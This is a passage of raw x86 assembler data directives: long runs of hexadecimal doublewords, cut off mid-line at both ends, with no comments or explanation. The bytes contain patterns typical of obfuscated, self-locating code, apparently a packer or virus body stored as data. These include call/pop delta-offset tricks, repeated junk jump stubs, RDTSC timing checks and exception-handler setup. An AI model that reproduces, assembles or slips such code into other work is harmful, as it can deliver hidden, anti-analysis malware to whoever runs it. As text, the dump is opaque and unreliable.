6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 5CBAFC3h, 17219529h, 0E180064Eh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 14E9BBh, 7D1A0000h, 6E7CF474h, 7B2A9B04h, 0D9FA71B7h dd 67F2BAB8h, 0C90A7BBCh, 135840Fh, 0D98B0000h, 1B29858Bh dd 0AE8064Eh, 0DD000000h, 0BDFF13EAh, 7954D520h, 335BF525h dd 4E288D85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 5A01A0C7h, 0F7E3A356h, 0B350F52Eh dd 24048915h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0D3C35646h, 74A832Ah, 6AF92Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 20C35646h, 0A88CF8EAh, 0EB819151h dd 0B32F68F8h, 0EBBBCE0Bh, 814B978Fh, 50D02404h, 6A3213h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 57412CC3h, 13E9h, 0BFB4C600h, 3DFF93BCh, 0A0849B6Eh dd 0B412DBA4h, 0B19D05EBh, 0BD995FFh, 6A064Eh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 7B6CF6C3h, 0D3816661h, 850F8AFFh, 6, 0B3DBD8Bh, 8589064Eh dd 651B12Fh, 0BFE38166h, 182E974h, 10E90000h, 80000000h dd 76532CB6h, 0DAFC1FE6h, 89E19872h, 8B71A916h, 51B12785h dd 1800C706h, 66000000h, 8166FE8Bh, 8BFA94D7h, 51B12BB5h dd 0DA8B6606h, 300D858Bh, 689064Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D0C35242h, 492BD531h, 66A49A17h dd 8B7345BFh, 4E1B2985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8166CD43h, 66F65FF3h dd 4689DE8Bh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8589A0ADh, 64E083Dh, 50FA8B96h, 6E7555BBh dd 9D8B964Ah, 64E02B1h, 0B127B5FFh, 0B70F0651h, 0F38B60FEh dd 51DFBB60h, 61612722h, 0D49A268h, 81EDB784h, 0BA5D2404h dd 81667C11h, 8DBA79CBh, 51B12F85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0A5505247h dd 7C4DA4D2h, 85892931h, 64E0DF9h, 14E990h, 69260000h dd 657C8148h, 0A8689EBDh, 0F7BB63BDh, 550BAD96h, 5050F97Ch dd 0BB310F52h, 630241D1h, 3390585Ah, 4E160D9Dh, 0D995FF06h dd 6A064E0Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0B57DC352h, 0C0BB7ED3h, 8A0FE1E1h dd 0Ch, 68D0Fh, 0BD8B0000h, 64E1851h, 0F4BB6661h, 5D85C798h dd 3064E06h, 8B000000h, 4E2A99BDh, 2FBD8306h, 651B1h, 5F840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 7A92F0C3h, 5B331A8Dh, 0C381F502h, 71F01538h dd 4BE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0E868DEE4h, 6E8A395h, 68B0F00h, 8B000000h dd 4E264DBDh, 0C305006h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0EE8632BFh, 50006A5Bh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 74F61393h, 159589F7h, 57064E21h, 10C5B589h, 835F064Eh dd 4E065DBDh, 850F0306h, 4A1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 2C35747h, 0BAD381DBh, 834907E3h dd 51B12FBDh, 840F0006h, 471h, 2255BD03h, 0B5FF064Eh, 651B12Fh dd 95FFF98Bh, 64E0375h, 14D1BD8Bh, 0B58B064Eh, 651B123h dd 8A0F52h, 5B000000h, 106C7h, 9D2B0001h, 64E2159h, 6E996h dd 0B33A0000h, 0D2E5F8C9h, 0F525050h, 6E931h, 97B70000h dd 5FEDDA99h, 6A96585Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0FD05C353h, 0FBA3EE17h dd 16818D01h, 7E9064Eh, 0B000000h, 0FF5F37D0h, 0BD09E769h dd 64E19C1h, 0B12FB5FFh, 79BB0651h, 0FF009ED7h, 4E290195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0FA90E9ECh, 0E544A7F2h, 0D19D01A6h, 8B064E0Fh dd 51B123B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 16FAEC5Dh, 858B60A4h, 64E07E5h, 1651958Bh dd 8B61064Eh, 4E0F3585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0BF8365E2h, 6B8CF759h dd 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0FB0F25C3h, 0F57536A8h, 8B5E2743h dd 5958BFAh, 6A064E2Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0A701C353h, 0C381AAEDh dd 34B64E3Eh, 15F19D8Bh, 870F064Eh, 9, 3810Fh, 0BF0F0000h dd 4C283F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0DAC35646h, 0A2E8DF6Ch, 77CA353Ch, 0F759589h, 5089064Eh dd 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9B5CB4ADh, 18919D8Bh, 858D064Eh, 651C53Dh dd 868940B3h, 0B8h, 29418D89h, 6A064Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h dd 81D56711h, 0BBE7B047h, 0A054BF7Bh, 0B5FF5AD9h, 651B12Fh dd 0E35BD89h, 95FF064Eh, 64E1A05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0C4C35343h, 8539CF2Dh, 0D99D8B24h dd 9064E11h, 4E19198Dh, 8E99606h, 0F5000000h, 4CD19BA1h dd 500811A8h, 2870F60h, 53000000h, 61D78B59h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 95557A8Ah, 0FDB3CE8Eh, 0B12FB5FFh, 6A0651h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 4C45E0C3h, 0B32C067Ch, 0A195FF87h, 31064E05h, 4E2C55BDh dd 9BD8306h, 64E15h, 5D840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0F779E6C3h dd 0DE86053h, 8F000000h, 801E03C5h, 9217B1C3h, 70C0A4A7h dd 0C78B665Bh, 56965F61h, 505FDA8Ah, 0DE8B5250h, 830F310Fh dd 5, 4B70BCBFh, 96585A4Dh, 2C78166h, 8DB53142h, 0FF064E20h dd 51B12FB5h, 8D8B6006h, 64E28B9h, 8E8h, 5A908900h, 2F27FAFFh dd 5AE68A71h, 0D995FF61h, 6A064E25h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81EBC351h dd 8BC58C7h, 2FB5FF44h, 6A0651B1h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7888C352h dd 666D85E8h, 0F780F88Bh, 0D95FF04h, 8B064E25h, 0CE9FBh dd 4F160000h, 7A3E587Ah, 0BBCD72A1h, 0BD8350C9h, 64E1531h dd 6E840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0CFACC350h, 2925858Bh dd 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 79223CC3h, 6E9B88EBh, 816660E9h, 603707C2h dd 0E996EB80h, 0Eh, 7FB769EFh, 40E49A0h, 23B6713Bh, 616142CDh dd 810000C6h, 0C78946EBh, 1D85C76Eh, 64E12h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0BA90C352h, 0F3BEE9F9h, 0BD89FFFFh, 64E1721h dd 870FC18Bh, 11h, 8E8h, 929B0C00h, 4D8DFFA3h, 0DFBF0F4Bh dd 61858D5Bh, 6A064E10h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 2589C357h, 0E2AB729Fh dd 699D8B14h, 90064E28h, 0B830Fh, 830F0000h, 5, 217644BFh dd 8A905048h, 6A006ADAh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 7D9D8B63h, 8D064E09h dd 5300BB85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0DA8B19F5h, 6A05C083h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0E7B1C357h, 0AC2C6962h, 7FF78166h, 248EBB10h, 0BB504DBAh dd 41DF6CECh, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 38FFC353h, 5069A9BEh dd 0DE59D03h, 0E85F064Eh, 13h, 461F3091h, 0F92971A4h, 0FBE9F991h dd 0BA3BEF2h, 89CAC8B3h, 4E0E5985h, 6A5B06h, 309D8D89h dd 6A064Eh, 936FBB66h, 88595FFh, 0AE9064Eh, 0DD000000h dd 0AC225BAh, 0D6DC4FA8h, 0DDBB665Ch, 498D8D9Fh, 6A0651AFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 3DFC355h, 4E2535BDh, 0FE8B6606h, 0BF66D1FFh dd 0BD8BB472h, 64E30A9h, 2649BD83h, 0F01064Eh, 0B085h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 4DE4415Bh, 0A263AE3Ch, 7D8D89F5h, 6A064E20h dd 56006A02h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0FF735770h, 0D913ACDDh, 0E8509087h, 6, 263D8725h dd 50603C1Fh, 5A310F52h, 61616058h, 0F60905Fh, 68Eh, 0C19D8B00h dd 0E9064E11h, 0Dh, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h dd 95FF613Fh, 64E1A05h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 89C35242h, 0CBC6FF96h, 0E52E9E2h, 0E80000h dd 5D000000h, 0C5ED81h, 0B5890653h, 64E1085h, 8042BF66h dd 2EBBF9BFh, 0D7816615h, 858DCC1Ch, 65192A9h, 2FB19D01h dd 0E950064Eh, 5, 0F1E8A44Fh, 24048997h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 14C35545h, 933F7CEh dd 4E19C98Dh, 0FF64FC06h, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B201C870h dd 296FBB66h, 258964h, 66000000h, 62ECC781h, 0E83A42BFh dd 0D585FF51h, 6A064E08h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 2C19C357h, 86C39F3Ch dd 0EB36E62Fh, 853284BBh, 0D59D8B11h, 6A064E2Bh, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4F618821h, 895AFC9Fh, 4E10858Dh, 64D38106h, 0FF124C99h dd 4E172DB5h, 61BD8B06h, 0FF064E2Bh, 4E1B0D95h, 146E906h dd 9D8B0000h, 64E0EA9h, 10E900B0h, 9B000000h, 0DB726FE3h dd 0A5BE9C90h, 11304330h, 0E646D920h, 0CB816670h, 71E4D272h dd 0EE8h, 0EDC6C900h, 0A152BE93h, 1BD4A5DAh, 0FA90E94h dd 689h, 0F98D0900h, 5B064E30h, 830F613Ch, 0F8h, 1425BD23h dd 0D88A064Eh, 0FC8B60Fh, 688h, 459D8B00h, 0BA064E04h dd 6, 28818D89h, 0C18B064Eh, 0E7D9D0Bh, 0E8C1064Eh, 17840F04h dd 0E9000000h, 12h, 670699BBh, 0A26EEF0h, 0C0446454h, 621A92D0h dd 9D33279Eh, 64E2AA1h, 0FE2F766h, 0D381FEBFh, 2C835A8Fh dd 92BFC82Bh, 89590240h, 4E27499Dh, 0FD18B06h, 85E9F8BFh dd 0F000000h, 58Dh, 9F31BF00h, 858B4086h, 47554C50h, 83D9B70Fh dd 0DA8A07C0h, 6600C083h, 3B1393BBh, 0A830FD0h, 80000000h dd 55E92FC7h, 8B000000h, 0FF8D8BDEh, 0E8FFFFFFh, 13h, 32512B1Dh dd 27EF4776h, 0E7D9B34Ah, 81F3EBDAh, 0B73BB7F5h, 0E1835F9Ah dd 29840F01h, 66000000h, 8354B2BFh, 0FFFFFFA5h, 9D8BFEFFh dd 64E303Dh, 4C509589h, 8D894755h, 64E1885h, 1860Fh, 0E9F90000h dd 0 dd 7CFBB58Dh, 6A0652h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 12A2EEC3h, 430E8ED5h, 81661676h dd 6AC524C3h, 0A99D8B00h, 0FF064E22h, 4E1A5995h, 0C7816606h dd 9D8B7819h, 64E0809h, 0F7CB9h, 0D1BD8B00h, 83064E2Ch dd 0C381FCE1h, 3C450A1Ch, 56006AFCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0B8FF42A6h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 9DC35545h dd 94D8276Dh, 233CE615h, 4E0871BDh, 6AD22B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 9F3EC353h, 0FF2529D5h, 0F755AC9Fh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 14E8h, 1AE92600h, 32B33517h, 0F4E938B0h dd 933B7E53h, 0BEB7524Ch, 0FDBD8BAEh, 5B064E2Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 36C35343h, 1F944ADEh dd 1D791C9Ah, 0D98B60CCh, 880D61h, 8F0F0000h, 6, 2151BD01h dd 958B064Eh, 64E2B05h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 8EC35141h, 4EDC27E1h, 7CA5B258h, 18F59D2Bh dd 8D8B064Eh, 64E2B65h, 50DABF0Fh, 151D8D89h, 505F064Eh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 15BD8B58h dd 80064E08h, 0BD834CD3h, 64E30FDh, 57840F00h, 2B000000h dd 4E2C019Dh, 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8D82D2C3h, 4E4E108Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 11BD311Bh, 0FF064E2Bh, 0FFB70FE1h, 0BD835B53h dd 64E065Dh, 0EF840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 57B4C357h dd 0CE8h, 19C58D00h, 5CAEFF6Eh, 1506E755h, 0DBD29E0h, 5F064E29h dd 5DBD835Bh, 1064E06h, 4C7840Fh, 0DE90000h, 0CE000000h dd 2E6FCF33h, 0B0FD345Dh, 76A83BBDh, 65DBD83h, 0F03064Eh dd 47286h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 54BF14E6h, 8B07931Ah, 6A60DFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0FA40F0C3h, 25B53102h, 66064E06h, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0E62058C3h dd 8B66C891h, 4E180FEh, 2935B589h, 9D89064Eh, 64E1339h dd 840FC90Ah, 174h, 2509BD89h, 0BD8B064Eh, 64E0711h, 1B29858Bh dd 6A064Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 84C9A7C3h, 51ACDBAEh, 8D8533CDh, 6A064E28h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 6092C357h, 8B34FBFBh, 8B6690FAh, 0CE950FAh dd 0D3000000h, 0AAFC0FD0h, 0F83E6605h, 900D1D80h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BEC35747h, 17698F4Ch dd 6A006ABAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 24E1C357h, 0F53EAD5Bh, 11850160h dd 8B064E11h, 4E140D95h, 4E86106h, 0FF000000h, 8B001F03h dd 0DE8B50F9h, 424448Bh, 8BFE8B66h, 50575100h, 5A310F52h dd 895B5F58h, 60042444h, 1558BE66h, 0B2595060h, 586161C5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9EC35343h dd 0EFAAAE25h, 66995B00h, 0AEBF6653h, 10E85BF6h, 25000000h dd 0F2E2D1D9h, 56FDEABFh, 0A836A5ECh, 0BF1B69EBh, 625B9F13h dd 0D995FF5Fh, 0B3064E0Bh, 2F858904h, 6A0651B1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 2B93C351h, 0F98B66BFh, 1A1E9h, 0FEBF0F00h, 0B127858Bh dd 6A0651h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B7505BC3h, 0C75F61h, 18h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2C35747h, 0ED6094E5h dd 42AC56BDh, 0D78166BDh, 8F0F5D5Dh, 6, 8AD9D0Bh, 0B58B064Eh dd 651B12Bh, 0A164F781h, 858B1A4Eh, 64E300Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 25C35747h, 9D336690h dd 64E21C5h, 20E9BD33h, 689064Eh, 16419D8Bh, 858B064Eh dd 64E1B29h, 15AD9D89h, 4689064Eh, 96DF8B04h, 0F840Fh dd 0AE90000h, 37000000h, 642E449Ah, 6EA8E346h, 6E95058h dd 81000000h, 0F69BB0EBh, 6A96CCh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 94885EC3h, 0C7810845h dd 18F111CFh, 0B127B5FFh, 6A0651h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 76D58AC3h, 0A70A2B80h dd 0BD2B7DACh, 64E2A69h, 0C8362068h, 0B466BB9Dh, 48117ACh dd 56CDDF24h, 2DBD8962h, 8D064E06h, 51B12F85h, 2800F06h dd 8A000000h, 880F90FAh, 7, 83E3BF52h, 505F0216h, 58F0Fh dd 44BB0000h, 90231360h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 32C35242h, 15B589h, 95FF064Eh, 64E0BD9h dd 263DB589h, 6A61064Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0FCC5C355h, 0A7A21538h dd 8B68B674h, 4E1B99BDh, 0C7DA8A06h, 4E065D85h, 306h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0A3833975h, 2FBD837Eh, 651B1h, 75840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 2FDED5C3h, 0C21F4CAEh, 69E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0ED015D3Dh dd 0FD72894h, 8Bh, 13E800h, 0D0FA0000h, 0A71E008Ch, 0E34E49E0h dd 0DDCFF130h, 9212217Ch, 0D901BB54h, 505B2208h, 1915BD23h dd 505F064Eh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9E9C08Bh, 0E9000000h, 29F84D68h, 0A87D66C2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2DC35242h dd 41340172h, 130148Fh, 4E1F458Dh, 5DBD8306h, 3064E06h dd 464850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 37C643C3h, 0BBA26105h, 84BB6E94h dd 0F387CA2h, 28Ah, 83F98B00h, 51B12FBDh, 840F0006h, 426h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CDC35545h dd 2FB5FFA4h, 0F0651B1h, 95FFDEB7h, 64E0375h, 818D31F5h dd 8B064E29h, 51B123B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD8B3CF1h, 64E062Dh dd 3119509h, 8589064Eh, 64E2749h, 106C7h, 85890001h, 64E1F69h dd 0D88B6696h, 0C38A6050h, 6800Fh, 52500000h, 585A310Fh dd 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 68BC86C3h, 0DEB70F60h, 3784B966h, 8E861h dd 0BB290000h, 42C61495h, 0BD8BEEDFh, 64E1891h, 0CB81665Bh dd 0B5FF0C52h, 651B12Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 32C35242h, 950A4189h dd 0C24894CDh, 0D618529h, 95FF064Eh, 64E2901h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FCC35646h, 0D0461323h dd 9D8B6078h, 64E2CE9h, 0B123B58Bh, 6A0651h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4AF39EC3h dd 4BAB297h, 858BE337h, 64E0F35h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 5DC35141h, 984A8AC7h, 8B691649h dd 4E1279BDh, 0D1B58906h, 0B3064E12h, 0C48689D1h, 0E8000000h dd 0Bh, 0C2433AC1h, 6549B908h, 0F3811F8h, 68Fh, 2D9D8900h dd 5F064E06h, 2B05958Bh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 84A9E3C3h, 0B9CA0F8Eh dd 4C2831Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 67C35343h, 5156E781h, 50890718h, 0B9666020h, 8D612112h dd 51C53D85h, 8F0F06h, 89000000h, 0B886h, 0FE900h, 0A8870000h dd 9D7A02h, 61EBE039h, 8C4FD8C8h, 8B006AF1h, 2FB5FFDAh dd 6A0651B1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0D614C356h, 6DE194C4h, 3E19531h dd 95FF064Eh, 64E1A05h, 43EF8166h, 0B4B396F9h, 0DE8B6650h dd 6880F96h, 33000000h, 4E2509BDh, 2FB5FF06h, 0F0651B1h dd 1287h, 0C870F00h, 0E8000000h, 6, 0CA9C5C27h, 0FF5B3D28h dd 4E05A195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 83E3ADBEh, 4E1509BDh, 840F0006h dd 6Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah dd 0DC35545h, 282548EDh, 9D01F0FEh, 64E28D1h, 0DE9h, 8EF69D00h dd 62F98829h, 0A3C6273Bh, 0E996C613h, 7, 0DB41C67h, 5087E3F3h dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 47C36ED5h, 85BD8BD2h, 0FF064E17h, 51B12FB5h dd 61853106h, 0FF064E21h, 4E25D995h, 899D0B06h, 0FF064E15h dd 51B12FB5h, 830F06h, 0FF000000h, 4E250D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B5A1C70Ah, 0C389F46Fh, 2551BD8Bh, 9D89064Eh, 64E0019h dd 1531BD83h, 0F02064Eh, 5D84h, 6880F00h, 31000000h, 4E0CB18Dh dd 25858B06h, 6A064E29h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 9E8FC352h, 0F781CB8Ah dd 28A09745h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 557EC351h, 0F1518871h dd 85C7D13Eh, 64E121Dh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 33C35343h dd 15FC50B3h, 9CE9709Eh, 80FFFFF2h, 0C18BF2F3h, 0EE8h dd 0D017D00h, 153E4D7Eh, 764FC208h, 664F80BAh, 5F3A80BBh dd 1061858Dh, 50F5064Eh, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5784C357h dd 13E917h, 0B87E0000h, 760074E9h, 0CDBDBA05h, 5314102Ch dd 0A8FA269Eh, 6A006A1Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0C894C351h, 0B3C8F215h dd 0BCFABB66h, 89DBB70Fh, 4E25D58Dh, 0E8006A06h, 14h, 0FAE7B94Eh dd 7CCD8D7Fh, 6CCF1AB1h, 0CADA6482h, 0FE480086h, 8D5FDA8Bh dd 53111A85h, 5E906h, 40640000h, 83F3806Eh, 958905C0h dd 64E2C89h, 50FE8B90h, 0EE85250h, 0D000000h, 0A334DB96h dd 9DBD0A79h, 35A3C79h, 5F6160C5h, 0BB66310Fh, 585AF6AEh dd 919D8B90h, 6A064E0Bh, 5DC78100h, 6A524948h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0AF291F79h, 0CB8B60F0h, 116D9D8Bh, 0E961064Eh, 6, 0CE5E306Ah dd 95FF34D9h, 64E0885h, 0FE8B6660h, 0E9615CB0h, 5, 709E15FCh dd 498D8D8Dh, 8B0651AFh, 4E051D9Dh, 0D1FFF806h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 58C35040h, 0B1BB56CBh dd 5B203EC5h, 2649BD83h, 0F01064Eh, 9F85h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 81ECF231h, 0F059D8Bh, 26A064Eh, 19E5B589h, 6050064Eh dd 6E8h, 0F0011600h, 0B84A0078h, 2E3B1942h, 0E71CBE58h dd 89615F1Eh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E98F7DC3h, 6, 0DAF46A2Dh, 95FFF4FAh dd 64E1A05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 62C35545h, 0F249A97h, 38Bh, 0FFBF0F00h, 0E26E9h dd 0E800h, 815D0000h, 531124EDh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 299BBBAAh dd 6A6CB2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 17C280C3h, 72F442ADh, 18D38122h, 8909EF8Ah dd 4E07ED8Dh, 0A9858D06h, 0F065192h, 8950FEB7h, 0FF642404h dd 35h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 9D74A41Bh, 4652D2Ah, 0DE908h, 64620000h dd 0A318C6BAh, 0D26F437Dh, 64124EB6h, 2589h, 0B5890000h dd 64E1899h, 2FB99D89h, 85FF064Eh, 64E08D5h, 5EF6C781h dd 0FF6A1BB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 4BC35646h, 14F5BD8Bh, 0B5FF064Eh, 64E2899h, 58A0Fh dd 81660000h, 0FFDE56CFh, 4E1B0D95h, 115E906h, 56BB0000h dd 0B0517CCEh, 9E900h, 41A0000h, 0FA0BBC97h, 0E6D098DBh dd 37C78170h, 0E47972CEh, 0DBA1BF71h, 613C0BB5h, 0E9830Fh dd 7E90000h, 9E000000h, 98410747h, 0B60F6686h, 0CE9C8h dd 38E20000h, 62E760Bh, 35AD707Eh, 89600031h, 4E2F659Dh dd 0EB816006h, 1B0E682h, 6BA6161h, 0F000000h, 0C18BFFB7h dd 19099D8Bh, 0E8C1064Eh, 0DCFEBF04h, 0F7667B2Bh, 858953E2h dd 64E08ADh, 8BC82B5Fh, 4E0EB1BDh, 66D18B06h, 6366CB81h dd 82E9h, 0F7816600h, 858BA027h, 44004E49h, 0E807C083h dd 0Ah, 0E9C431B1h, 245D9E98h, 8D89C5D7h, 64E0241h, 0C0835Fh dd 0CBED9BBFh, 0FD03B1Dh, 1083h, 1DBD8900h, 0E9064E13h dd 43h, 11DF8166h, 0FF8D8B42h, 